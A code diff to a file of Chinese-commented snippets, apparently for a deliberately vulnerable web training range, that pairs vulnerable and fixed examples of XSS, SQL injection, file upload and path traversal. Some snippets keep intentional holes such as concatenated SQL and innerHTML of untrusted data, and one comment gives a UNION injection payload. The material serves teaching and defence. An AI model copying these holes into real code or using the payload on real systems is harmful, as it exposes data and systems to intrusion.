+const safe2CSP = "// 内容安全策略(Content Security Policy)是浏览器实施的额外防护层,可降低恶意脚本加载和执行风险,但不能替代输出编码与安全DOM/模板用法\n" +
"// 前端Meta配置\n" +
" \n" +
"\n" +
"\n" +
"// 后端Header配置\n" +
"public String safe2(String payload,HttpServletResponse response) {\n" +
- " response.setHeader(\"Content-Security-Policy\",\"default-src self\");\n" +
+ " response.setHeader(\"Content-Security-Policy\", \"default-src 'self'; script-src 'self'\");\n" +
+ " response.setHeader(\"Content-Security-Policy-Report-Only\", \"default-src 'self'; report-uri /xss/reflect/csp-report-endpoint\");\n" +
" return payload;\n" +
"}"
-const safe3EntityEscape = '// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程\n' +
- '// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞\n' +
+const safe3EntityEscape = '// HTML正文输出编码会将特殊字符转换为HTML实体,避免浏览器把不可信数据解析为标签或脚本\n' +
+ '// 注意:HTML属性、URL、JavaScript字符串、CSS等不同上下文需要使用不同的编码或白名单校验策略\n' +
'public R safe3(@ApiParam(String type, String payload) {\n' +
' String filterContented = "";\n' +
' switch (type){\n' +
@@ -87,10 +88,10 @@ const safe3EntityEscape = '// 特殊字符实体转义是一种将HTML中的特
' }\n' +
'}'
-const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险\n" +
+const safe4HttpOnly = "// HttpOnly可以阻止客户端脚本直接读取带有该属性的Cookie,降低XSS窃取Cookie的影响,但不能修复XSS本身\n" +
"// 单个接口配置\n" +
"public R safe4(String payload, HttpServletRequest request,HttpServletResponse response) {\n" +
- " Cookie cookie = request.getCookies()[ueditor];\n" +
+ " Cookie cookie = request.getCookies()[0];\n" +
" cookie.setHttpOnly(true); // 设置为 HttpOnly\n" +
" cookie.setMaxAge(600); // 这里设置生效时间为十分钟\n" +
" cookie.setPath(\"/\");\n" +
@@ -99,7 +100,7 @@ const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用
"}\n" +
"\n" +
"// 全局配置\n" +
- "// ueditor、application.yml配置\n" +
+ "// application.yml配置\n" +
"server:\n" +
" servlet:\n" +
" session:\n" +
@@ -118,7 +119,7 @@ const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用
" ...\n" +
"}"
-const vul1StoreRaw = "// 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中\n" +
+const vul1StoreRaw = "// 原生漏洞场景,未加任何过滤,将用户输入和User-Agent持久化;后续页面不安全渲染时触发存储型XSS\n" +
"// Controller层\n" +
"public R vul(String payload,HttpServletRequest request) {\n" +
" String ua = request.getHeader(\"User-Agent\");\n" +
@@ -139,7 +140,7 @@ const vul1StoreRaw = "// 原生漏洞场景,未加任何过滤,将用户输入
" values (#{content,jdbcType=VARCHAR},#{ua,jdbcType=VARCHAR}, #{date,jdbcType=VARCHAR})\n" +
" "
-const safe1StoreEntityEscape = "// 表格数据渲染\n" +
+const safe1StoreEntityEscape = "// 表格数据渲染:数据库仍保存原始值,输出到HTML页面前按HTML正文文本编码\n" +
"table.render({\n" +
"\t...\n" +
" cols: [\n" +
@@ -151,10 +152,13 @@ const safe1StoreEntityEscape = "// 表格数据渲染\n" +
" return escapeHtml(d.ua); \n" +
" }},\n" +
" \t...\n" +
- "// 方法一、HTML 实体转义函数\n" +
+ "// 方法一、HTML正文输出编码函数\n" +
"function escapeHtml(html) {\n" +
+ " if (html === null || html === undefined) {\n" +
+ " return '';\n" +
+ " }\n" +
" var text = document.createElement(\"textarea\");\n" +
- " text.textContent = html;\n" +
+ " text.textContent = String(html);\n" +
" return text.innerHTML;\n" +
"}\n" +
"// 方法二、JavaScript的文本节点\n" +
@@ -210,11 +214,38 @@ const vul1DomRaw = "// 1. innerHTML XSS\n" +
"});\n" +
"form.on('submit(document-domain)', function(data) {\n" +
" var payload = data.field.documentPayload;\n" +
- " document.domain = payload; // 漏洞点:直接修改document.domain\n" +
+ " document.domain = payload; // 风险点:直接修改document.domain会放宽同源边界或造成异常行为\n" +
" return false;\n" +
"});"
-const vul1OtherUpload = "public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {\n" +
+const safeDomCode = "// 1. 普通文本输出:使用textContent,不解析HTML\n" +
+ "document.getElementById('safe-dom-result').textContent = userInput;\n" +
+ "\n" +
+ "// 2. URL跳转:校验协议白名单,拒绝javascript:、data:等危险协议\n" +
+ "var url = new URL(userInput, window.location.origin);\n" +
+ "var allowedProtocols = ['http:', 'https:'];\n" +
+ "if (allowedProtocols.indexOf(url.protocol) === -1) {\n" +
+ " throw new Error('dangerous protocol');\n" +
+ "}\n" +
+ "\n" +
+ "// 3. 替代eval:使用命令白名单映射,而不是执行用户输入\n" +
+ "var actions = {\n" +
+ " showTime: function () { return new Date().toLocaleString(); },\n" +
+ " showLocation: function () { return window.location.pathname; }\n" +
+ "};\n" +
+ "var action = actions[userInput];\n" +
+ "if (action) {\n" +
+ " action();\n" +
+ "}\n" +
+ "\n" +
+ "// 4. DOM API:创建文本节点,不拼接HTML字符串\n" +
+ "var node = document.createTextNode(userInput);\n" +
+ "element.appendChild(node);\n" +
+ "\n" +
+ "// 如果业务必须展示富文本,应先使用白名单HTML净化库处理后再渲染\n"
+
+const vul1OtherUpload = "// 上传可被浏览器或预览服务解析的HTML/SVG/XML/PDF等文件,后续访问文件时可能触发XSS或内容安全问题\n" +
+ "public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {\n" +
" String uploadFolderPath = sysConstant.getUploadFolder();\n" +
" try {\n" +
" String fileName = +DateUtil.current() + \".\"+suffix;\n" +
@@ -230,7 +261,8 @@ const vul1OtherUpload = "public String uploadFile(MultipartFile file, String suf
" }\n" +
"}"
-const vul2OtherTemplate = "public String handleTemplateInjection(String payload,String type, Model model) {\n" +
+const vul2OtherTemplate = "// th:utext会把内容作为HTML渲染;th:text会进行HTML转义\n" +
+ "public String handleTemplateInjection(String payload,String type, Model model) {\n" +
" if (\"html\".equals(type)) {\n" +
" model.addAttribute(\"html\", payload);\n" +
" } else if (\"text\".equals(type)) {\n" +
@@ -261,17 +293,17 @@ const vul3SCMSec = "// jQuery依赖\n" +
"\n" +
"// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件";
-const vulHtml5 = "1、WebSocket XSS\n" +
+const vulHtml5 = "1、PostMessage XSS\n" +
"// 接收端:直接使用innerHTML插入消息\n" +
"window.addEventListener('message', function(event) {\n" +
" // 故意不验证origin\n" +
" document.getElementById('messageContainer').innerHTML = event.data;\n" +
"});\n" +
+ "2、WebSocket XSS\n" +
"// 客户端:直接使用innerHTML插入消息\n" +
"ws.onmessage = function(event) {\n" +
" document.getElementById('wsMessageContainer').innerHTML = event.data;\n" +
"};\n" +
- "2、PostMessage XSS\n" +
"// 服务端:直接广播用户输入\n" +
"protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {\n" +
" broadcast(message.getPayload());\n" +
@@ -299,7 +331,7 @@ const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理
" conn.close();\n" +
" return R.ok(message);\n" +
" case \"delete\":\n" +
- " sql = \"DELETE FROM users WHERE id = '\" + id + \"'\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = '\" + id + \"'\";\n" +
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"update\":\n" +
@@ -307,7 +339,7 @@ const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"select\":\n" +
- " sql = \"SELECT * FROM users WHERE id = \" + id;\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = \" + id;\n" +
" ResultSet rs = stmt.executeQuery(sql);\n" +
" ...\n" +
" }\n" +
@@ -325,7 +357,7 @@ const vul2prepareStatementJoint = "// 虽然使用了conn.prepareStatement(sql)
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"delete\":\n" +
- " sql = \"DELETE FROM users WHERE id = '\" + id + \"'\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = '\" + id + \"'\";\n" +
" stmt = conn.prepareStatement(sql);\n" +
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
@@ -335,7 +367,7 @@ const vul2prepareStatementJoint = "// 虽然使用了conn.prepareStatement(sql)
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"select\":\n" +
- " sql = \"SELECT * FROM users WHERE id = \" + id;\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = \" + id;\n" +
" stmt = conn.prepareStatement(sql);\n" +
" ResultSet rs = stmt.executeQuery(sql);\n" +
" ...\n" +
@@ -356,7 +388,7 @@ const vul3JdbcTemplateJoint = "// JDBCTemplate是Spring对JDBC的封装,底层
" rowsAffected = jdbctemplate.update(sql);\n" +
" ...\n" +
" case \"delete\":\n" +
- " sql = \"DELETE FROM users WHERE id = '\" + id + \"'\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = '\" + id + \"'\";\n" +
" rowsAffected = jdbctemplate.update(sql);\n" +
" ...\n" +
" case \"update\":\n" +
@@ -364,8 +396,8 @@ const vul3JdbcTemplateJoint = "// JDBCTemplate是Spring对JDBC的封装,底层
" rowsAffected = jdbctemplate.update(sql);\n" +
" ...\n" +
" case \"select\":\n" +
- " sql = \"SELECT * FROM users WHERE id = \" + id;\n" +
- " stringObjectMap = jdbctemplate.queryForMap(sql);\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = \" + id;\n" +
+ " resultList = jdbctemplate.queryForList(sql);\n" +
" ...\n" +
" }\n" +
"}"
@@ -377,17 +409,17 @@ const safe1PrepareStatementParametric = "// 采用预编译的方法,使用?
" switch (type) {\n" +
" case \"add\":\n" +
" // 这里可以看到使用了?占位符 sql语句和参数进行分离\n" +
- " sql = \"INSERT INTO users (username, password) VALUES (?, ?)\"; \n" +
+ " sql = \"INSERT INTO sqli (username, password) VALUES (?, ?)\"; \n" +
" stmt = conn.prepareStatement(sql);\n" +
" // 参数化处理\n" +
- " stmt.setString(ueditor, username); \n" +
+ " stmt.setString(1, username); \n" +
" stmt.setString(2, password);\n" +
" // 使用预编译时 不需要传递sql语句\n" +
" rowsAffected = stmt.executeUpdate();\n" +
" case \"delete\":\n" +
- " sql = \"DELETE FROM users WHERE id = ?\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = ?\";\n" +
" stmt = conn.prepareStatement(sql);\n" +
- " stmt.setString(ueditor, id);\n" +
+ " stmt.setString(1, id);\n" +
" rowsAffected = stmt.executeUpdate();\n" +
" ...\n" +
" case \"update\":\n" +
@@ -396,12 +428,12 @@ const safe1PrepareStatementParametric = "// 采用预编译的方法,使用?
" stmt.setString(1, username); \n" +
" stmt.setString(2, password);\n" +
" stmt.setString(3, id);\n" +
- " stmt.executeUpdate();\n" +
+ " rowsAffected = stmt.executeUpdate();\n" +
" ...\n" +
" case \"select\":\n" +
- " sql = \"SELECT * FROM users WHERE id = ?\";\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = ?\";\n" +
" stmt = conn.prepareStatement(sql);\n" +
- " stmt.setString(ueditor, id);\n" +
+ " stmt.setString(1, id);\n" +
" ResultSet rs = stmt.executeQuery();\n" +
" ...\n" +
" }\n" +
@@ -420,20 +452,21 @@ const safe2JdbcTemplatePrepareStatementParametric = "// JDBCTemplate预编译
" rowsAffected = jdbctemplate.update(sql, username, password);\n" +
" ...\n" +
" case \"delete\":\n" +
- " sql = \"DELETE FROM users WHERE id = ?\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = ?\";\n" +
" rowsAffected = jdbctemplate.update(sql, id);\n" +
" ...\n" +
" case \"update\":\n" +
" sql = \"UPDATE sqli SET username = ?, password = ? WHERE id = ?\";\n" +
- " rowsAffected = jdbctemplate.update(sql, username, id);\n" +
+ " rowsAffected = jdbctemplate.update(sql, username, password, id);\n" +
" ...\n" +
" case \"select\":\n" +
- " sql = \"SELECT * FROM users WHERE id = ?\";\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = ?\";\n" +
" stringObjectMap = jdbctemplate.queryForMap(sql, id);\n" +
" ...\n" +
" }\n" +
"}\n"
-const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感字符:'、;、--、+、,、%、=、>、<、*、(、)、and、or、exeinsert、select、delete、update、count、drop、chr、midmaster、truncate、char、declare\n" +
+const safe3BlacklistcheckSqlBlackList = "// 黑名单只能作为辅助检测或拦截,不应替代参数化查询。\n" +
+ "// 遗漏关键字、编码绕过、语法变形都可能导致绕过。\n" +
"public R safe3(String type,String id,String username,String password) {\n" +
" Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" +
" Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" +
@@ -443,28 +476,28 @@ const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感
" if (checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) {\n" +
" return R.error(\"黑名单检测到非法SQL注入!\");\n" +
" } else {\n" +
- " sql = \"INSERT INTO users (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" +
+ " sql = \"INSERT INTO sqli (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" +
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"delete\":\n" +
" if (checkUserInput.checkSqlBlackList(id)) {\n" +
" return R.error(\"黑名单检测到非法SQL注入!\");\n" +
" } else {\n" +
- " sql = \"DELETE FROM users WHERE id = '\" + id + \"'\";\n" +
+ " sql = \"DELETE FROM sqli WHERE id = '\" + id + \"'\";\n" +
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"update\":\n" +
" if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) {\n" +
" return R.error(\"黑名单检测到非法SQL注入!\");\n" +
" } else {\n" +
- " sql = \"UPDATE users SET password = '\" + password + \"', username = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" +
+ " sql = \"UPDATE sqli SET password = '\" + password + \"', username = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" +
" rowsAffected = stmt.executeUpdate(sql);\n" +
" ...\n" +
" case \"select\":\n" +
" if (checkUserInput.checkSqlBlackList(id)) {\n" +
" return R.error(\"黑名单检测到非法SQL注入!\");\n" +
" } else {\n" +
- " sql = \"SELECT * FROM users WHERE id = \" + id;\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = \" + id;\n" +
" ResultSet rs = stmt.executeQuery(sql);\n" +
" ...\n" +
" }\n" +
@@ -476,46 +509,47 @@ const safe4RequestRarameterValidate = "// 强制类型转换 对用户请求参
" Statement stmt = conn.createStatement();\n" +
" message = checkUserInput.checkUser(id);\n" +
" if (!message.isEmpty()) return R.error(message);\n" +
- " sql = \"SELECT * FROM users WHERE id = \" + id;\n" +
+ " sql = \"SELECT * FROM sqli WHERE id = \" + id;\n" +
" ResultSet rs = stmt.executeQuery(sql);\n" +
" ...\n" +
"}"
-const safe4EASAPIFilter = "// ESAPI提供了多种输入验证API,提供对XSS攻击和SQL注入攻击等的防护\n" +
- "public R safe4(String id) {\n" +
+const safe4EASAPIFilter = "// encodeForSQL是历史方案或特定数据库Codec场景下的补充手段,不推荐作为首选修复。\n" +
+ "// SQL注入首选修复仍然是参数化查询。\n" +
+ "public R safe5(String id) {\n" +
" Codec oracleCodec = new OracleCodec();\n" +
" Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" +
" Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" +
"\n" +
" Statement stmt = conn.createStatement();\n" +
- " // 使用了 Oracle 的编解码器 OracleCodec 和 ESAPI 库来对 ID 进行编码,以防止 SQL 注入攻击。\n" +
+ " // 使用OracleCodec对ID进行SQL编码,仅作为特定场景补充。\n" +
" String sql = \"select * from sqli where id = '\" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + \"'\";\n" +
" // String sql = \"select * from sqli where id = '\" + id + \"'\";\n" +
- " String sql = \"select * from users where id = '\" + id + \"'\";\n" +
" ResultSet rs = stmt.executeQuery(sql);\n" +
"}"
-const special1OrderBy = "// ORDER BY关键字用于按升序或降序对结果集进行排序。 由于order by后面需要紧跟column_name,而预编译是参数化字符串,而order by后面紧跟字符串就会不支持原有功能 使用默认排序,因此通常防御order by注入需要使用白名单的方式\n" +
+const special1OrderBy = "// 占位符只能绑定“值”,不能绑定列名、表名、关键字、排序方向等SQL结构。\n" +
+ "// ORDER BY动态字段应使用枚举映射或白名单。\n" +
"public R special1OrderBy(String type,String field) {\n" +
" Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" +
" Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" +
" PreparedStatement preparedStatement;\n" +
" switch (type) {\n" +
" case \"raw\":\n" +
- " sql = \"SELECT * FROM users ORDER BY \" + field;\n" +
+ " sql = \"SELECT * FROM sqli ORDER BY \" + field;\n" +
" preparedStatement = conn.prepareStatement(sql);\n" +
" rs = preparedStatement.executeQuery();\n" +
" ...\n" +
" case \"prepareStatement\":\n" +
- " // 可以测试下 预编译没有报错 不过插入语句不生效 默认使用主键升序\n" +
- " sql = \"select * from users order by ?\";\n" +
+ " // ORDER BY ? 会把字段名当作普通值或表达式处理,不会按传入字段排序。\n" +
+ " sql = \"select * from sqli order by ?\";\n" +
" preparedStatement = conn.prepareStatement(sql);\n" +
- " preparedStatement.setString(ueditor, field);\n" +
+ " preparedStatement.setString(1, field);\n" +
" rs = preparedStatement.executeQuery();\n" +
" ...\n" +
" case \"writeList\":\n" +
- " sql = \"SELECT * FROM users ORDER BY \" + field;\n" +
- " if (checkUserInput.chechSqlWhiteList(field)) {\n" +
+ " if (!checkUserInput.checkSqlWhiteList(field)) {\n" +
" return R.error(\"field字段不合法!\");\n" +
" }\n" +
+ " sql = \"SELECT * FROM sqli ORDER BY \" + field;\n" +
" preparedStatement = conn.prepareStatement(sql);\n" +
" rs = preparedStatement.executeQuery();\n" +
" }\n" +
@@ -563,11 +597,52 @@ const special3Limit = "public R special3Limit(String type,String size) {\n" +
" case \"prepareStatement\":\n" +
" sql = \"SELECT * FROM sqli ORDER BY id DESC LIMIT ?\";\n" +
" preparedStatement = conn.prepareStatement(sql);\n" +
- " preparedStatement.setString(1, size);\n" +
+ " preparedStatement.setInt(1, Integer.parseInt(size));\n" +
" rs = preparedStatement.executeQuery();\n" +
" ...\n" +
" }\n" +
"}"
+const special4SecondOrder = "// 第一步:参数化写入恶意数据,此时不触发SQL注入。\n" +
+ "public R special4SecondOrder(String type,String id,String username,String password) {\n" +
+ " switch (type) {\n" +
+ " case \"store\":\n" +
+ " String insertSql = \"INSERT INTO sqli (username, password) VALUES (?, ?)\";\n" +
+ " PreparedStatement ps = conn.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS);\n" +
+ " ps.setString(1, username);\n" +
+ " ps.setString(2, password);\n" +
+ " ps.executeUpdate();\n" +
+ " ...\n" +
+ " case \"trigger\":\n" +
+ " // 第二步:先通过ID取出已存储的username。\n" +
+ " String storedUsername = queryUsernameById(id);\n" +
+ " // 漏洞点:数据库中的历史数据再次被拼接进SQL结构。\n" +
+ " String vulSql = \"SELECT id, username, password FROM sqli WHERE username = '\" + storedUsername + \"'\";\n" +
+ " ResultSet rs = stmt.executeQuery(vulSql);\n" +
+ " ...\n" +
+ " case \"safeTrigger\":\n" +
+ " String safeSql = \"SELECT id, username, password FROM sqli WHERE username = ?\";\n" +
+ " PreparedStatement safePs = conn.prepareStatement(safeSql);\n" +
+ " safePs.setString(1, storedUsername);\n" +
+ " ResultSet safeRs = safePs.executeQuery();\n" +
+ " ...\n" +
+ " }\n" +
+ "}\n"
+const special5Union = "// UNION回显要求原查询与联合查询列数一致、类型兼容。\n" +
+ "public R special5Union(String type,String id) {\n" +
+ " switch (type) {\n" +
+ " case \"raw\":\n" +
+ " String sql = \"SELECT id, username, password FROM sqli WHERE id = \" + id;\n" +
+ " // 示例:id = -1 UNION SELECT 1,database(),user()\n" +
+ " ResultSet rs = stmt.executeQuery(sql);\n" +
+ " ...\n" +
+ " case \"prepareStatement\":\n" +
+ " String safeSql = \"SELECT id, username, password FROM sqli WHERE id = ?\";\n" +
+ " PreparedStatement ps = conn.prepareStatement(safeSql);\n" +
+ " ps.setString(1, id);\n" +
+ " ResultSet safeRs = ps.executeQuery();\n" +
+ " ...\n" +
+ " }\n" +
+ "}\n"
// MyBatis
const vul1CustomMethod = "vul1CustomMethod"
@@ -625,6 +700,9 @@ const mybatisSpecial1OrderBy =
" sqlis = sqliService.orderByPrepareStatement(field);\n" +
" break;\n" +
" case \"writeList\":\n" +
+ " if (!checkUserInput.checkSqlWhiteList(field)) {\n" +
+ " return R.error(\"field字段不合法!\");\n" +
+ " }\n" +
" sqlis = sqliService.orderByWriteList(field);\n" +
" ...\n" +
"// Service层\n" +
@@ -642,21 +720,21 @@ const mybatisSpecial1OrderBy =
" return sqliMapper.orderByWriteList(field);\n" +
"}\n" +
"// Mapper层\n" +
- "\n" +
+ "\n" +
"\n" +
" SELECT * FROM sqli\n" +
" \n" +
" ORDER BY ${field}\n" +
" \n" +
" \n" +
- "\n" +
+ "\n" +
"\n" +
" SELECT * FROM sqli\n" +
" \n" +
" ORDER BY #{field}\n" +
" \n" +
" \n" +
- "\n" +
+ "\n" +
"\n" +
" SELECT * FROM sqli\n" +
" \n" +
@@ -714,8 +792,11 @@ const mybatisSpecial3In = "// Controller层\n" +
" sqlis = sqliService.inPrepareStatement(scope);\n" +
" break;\n" +
" case \"Foreach\":\n" +
- "\n" +
- " sqlis = sqliService.inSafeForeach(parseInputToList(scope));\n" +
+ " List idList = parseInputToList(scope);\n" +
+ " if (idList.isEmpty()) {\n" +
+ " return R.error(\"scope中没有合法整数ID!\");\n" +
+ " }\n" +
+ " sqlis = sqliService.inSafeForeach(idList);\n" +
" break;\n" +
" ...\n" +
"// Service层\n" +
@@ -767,18 +848,34 @@ const anyFileUploadCode = "// 原生漏洞场景,未做任何限制\n" +
"}\n" +
"// uploadFile方法详见文件上传导致XSS模块\n"
const anyFileUploadWhiteCode = "// 检测文件后缀,做白名单过滤\n" +
+ "String suffix = FilenameUtils.getExtension(file.getOriginalFilename());\n" +
"if (!checkUserInput.checkFileSuffixWhiteList(suffix)){\n" +
" return R.error(\"只能上传图片哦!\");\n" +
"}\n" +
+ "if (!isAllowedImageContent(file, suffix)) {\n" +
+ " return R.error(\"文件内容与图片类型不匹配!\");\n" +
+ "}\n" +
"\n" +
"public boolean checkFileSuffixWhiteList(String suffix) {\n" +
+ " if (suffix == null || suffix.isEmpty()) {\n" +
+ " return false;\n" +
+ " }\n" +
" String[] white_list = {\"jpg\", \"png\", \"gif\",\"jpeg\",\"bmp\",\"ico\"};\n" +
" for (String s : white_list) {\n" +
- " if (suffix.toLowerCase().contains(s)) {\n" +
+ " if (suffix.equalsIgnoreCase(s)) {\n" +
" return true;\n" +
" }\n" +
" }\n" +
" return false;\n" +
+ "}\n" +
+ "\n" +
+ "private boolean isAllowedImageContent(MultipartFile file, String suffix) throws IOException {\n" +
+ " if (\"ico\".equalsIgnoreCase(suffix)) {\n" +
+ " // 校验 ICO 文件头:00 00 01 00\n" +
+ " }\n" +
+ " BufferedImage image = ImageIO.read(file.getInputStream());\n" +
+ " return image != null;\n" +
+ " // ImageIO 解析异常时返回 false,避免损坏图片导致 500\n" +
"}"
const vul1Native = "public R vul1(@RequestParam String username) {\n" +
@@ -842,7 +939,18 @@ const vul1JpaJpql = "public R vul1(@RequestParam String username) {\n" +
" return R.error(errorMsg);\n" +
" }\n" +
"}"
-const vul2JpaSort = "vul2JpaSort"
+const vul2JpaSort = "public R vul2(@RequestParam String orderBy) {\n" +
+ " try {\n" +
+ " String jpql = \"SELECT s FROM Sqli s ORDER BY s.\" + orderBy;\n" +
+ " Query query = entityManager.createQuery(jpql);\n" +
+ " List results = query.getResultList();\n" +
+ " return R.ok(formatResults(results));\n" +
+ " } catch (Exception e) {\n" +
+ " String errorMsg = e.getMessage();\n" +
+ " log.error(\"查询失败: {}\", errorMsg, e);\n" +
+ " return R.error(errorMsg);\n" +
+ " }\n" +
+ "}"
const safeJpaParam = "public R safe(@RequestParam String username) {\n" +
" try {\n" +
" String jpql = \"SELECT s FROM Sqli s WHERE s.username = :username\";\n" +
@@ -863,6 +971,31 @@ const safeJpaParam = "public R safe(@RequestParam String username) {\n" +
" return R.error(errorMsg);\n" +
" }\n" +
"}"
+const safeJpaSort = "public R safeOrder(@RequestParam String orderBy) {\n" +
+ " try {\n" +
+ " Map orderByMap = new HashMap<>();\n" +
+ " orderByMap.put(\"id\", \"id\");\n" +
+ " orderByMap.put(\"username\", \"username\");\n" +
+ " orderByMap.put(\"password\", \"password\");\n" +
+ "\n" +
+ " String safeOrderBy = orderByMap.get(orderBy);\n" +
+ " if (safeOrderBy == null) {\n" +
+ " return R.error(\"排序字段不合法\");\n" +
+ " }\n" +
+ "\n" +
+ " CriteriaBuilder cb = entityManager.getCriteriaBuilder();\n" +
+ " CriteriaQuery cq = cb.createQuery(Sqli.class);\n" +
+ " Root root = cq.from(Sqli.class);\n" +
+ " cq.select(root).orderBy(cb.asc(root.get(safeOrderBy)));\n" +
+ "\n" +
+ " List results = entityManager.createQuery(cq).getResultList();\n" +
+ " return R.ok(formatResults(results));\n" +
+ " } catch (Exception e) {\n" +
+ " String errorMsg = e.getMessage();\n" +
+ " log.error(\"查询失败: {}\", errorMsg, e);\n" +
+ " return R.error(errorMsg);\n" +
+ " }\n" +
+ "}"
// 任意文件类型-文件删除
const deleteFile = "public String vul(String filePath) {\n" +
@@ -879,12 +1012,19 @@ const deleteFile = "public String vul(String filePath) {\n" +
" }\n" +
"}"
const safeDeleteFile = "public String safe(String fileName) {\n" +
- " // 限制删除文件所在目录为 /static/upload/下\n" +
- " String baseDir = sysConstant.getUploadFolder(); \n" +
- " File file = new File(baseDir, fileName);\n" +
+ " String baseDir = sysConstant.getUploadFolder();\n" +
+ " Path basePath = Paths.get(baseDir).toRealPath();\n" +
+ " Path filePath = basePath.resolve(fileName).normalize();\n" +
+ " if (!filePath.startsWith(basePath)) {\n" +
+ " return \"访问被拒绝:文件路径不合法\";\n" +
+ " }\n" +
" boolean deleted = false;\n" +
- " if (file.exists() && file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) {\n" +
- " deleted = file.delete();\n" +
+ " if (Files.isRegularFile(filePath)) {\n" +
+ " Path realFilePath = filePath.toRealPath();\n" +
+ " if (!realFilePath.startsWith(basePath)) {\n" +
+ " return \"访问被拒绝:文件真实路径不合法\";\n" +
+ " }\n" +
+ " deleted = Files.deleteIfExists(filePath);\n" +
" }\n" +
" if (deleted) {\n" +
" return \"文件删除成功: \" + fileName;\n" +
@@ -901,7 +1041,7 @@ const readFile = "public String vul(String fileName) throws IOException {\n" +
" if (file.exists() && file.isFile()) {\n" +
" Path filePath = file.toPath();\n" +
" // 使用 BufferedReader 和流 API 逐行读取文件\n" +
- " try (var lines = Files.lines(filePath)) {\n" +
+ " try (Stream lines = Files.lines(filePath)) {\n" +
" return lines\n" +
" .map(line -> line + \" \")\n" +
" .collect(Collectors.joining());\n" +
@@ -910,15 +1050,19 @@ const readFile = "public String vul(String fileName) throws IOException {\n" +
" return \"当前路径:\"+currentPath+\" 文件不存在或路径不正确:\" + fileName;\n" +
" }"
const safeReadFile = "public String safe(String fileName) throws IOException {\n" +
- " String baseDir = sysConstant.getUploadFolder(); \n" +
- " Path filePath = Paths.get(baseDir, fileName).normalize(); \n" +
- " // 确保文件路径在允许的目录中\n" +
- " if (!filePath.startsWith(Paths.get(baseDir))) {\n" +
+ " String baseDir = sysConstant.getUploadFolder();\n" +
+ " Path basePath = Paths.get(baseDir).toRealPath();\n" +
+ " Path filePath = basePath.resolve(fileName).normalize();\n" +
+ " // 先标准化路径,再确认目标文件仍位于允许目录内\n" +
+ " if (!filePath.startsWith(basePath)) {\n" +
" return \"访问被拒绝:文件路径不合法\";\n" +
" }\n" +
- " File file = filePath.toFile();\n" +
- " if (file.exists() && file.isFile()) {\n" +
- " return new String(Files.readAllBytes(file.toPath()));\n" +
+ " if (Files.isRegularFile(filePath)) {\n" +
+ " Path realFilePath = filePath.toRealPath();\n" +
+ " if (!realFilePath.startsWith(basePath)) {\n" +
+ " return \"访问被拒绝:文件真实路径不合法\";\n" +
+ " }\n" +
+ " return new String(Files.readAllBytes(realFilePath));\n" +
" } else {\n" +
" return \"文件不存在或路径不正确:\" + fileName;\n" +
" }\n" +
@@ -945,13 +1089,19 @@ const safeDownloadFile = 'public void safe(String fileName,HttpServletResponse r
' if (!isValidFileName(fileName)) {\n' +
' response.sendError(HttpServletResponse.SC_BAD_REQUEST, "非法文件名:" + fileName);\n' +
' return;\n' +
- ' }\n' +
- ' File file = new File(baseDir, fileName);\n' +
+ ' }\n' +
+ ' Path basePath = Paths.get(baseDir).toRealPath();\n' +
+ ' Path filePath = basePath.resolve(fileName).normalize();\n' +
'\n' +
- ' if (file.exists() && file.isFile()) {\n' +
+ ' if (filePath.startsWith(basePath) && Files.isRegularFile(filePath)) {\n' +
+ ' Path realFilePath = filePath.toRealPath();\n' +
+ ' if (!realFilePath.startsWith(basePath)) {\n' +
+ ' response.sendError(HttpServletResponse.SC_FORBIDDEN, "文件真实路径不合法:" + fileName);\n' +
+ ' return;\n' +
+ ' }\n' +
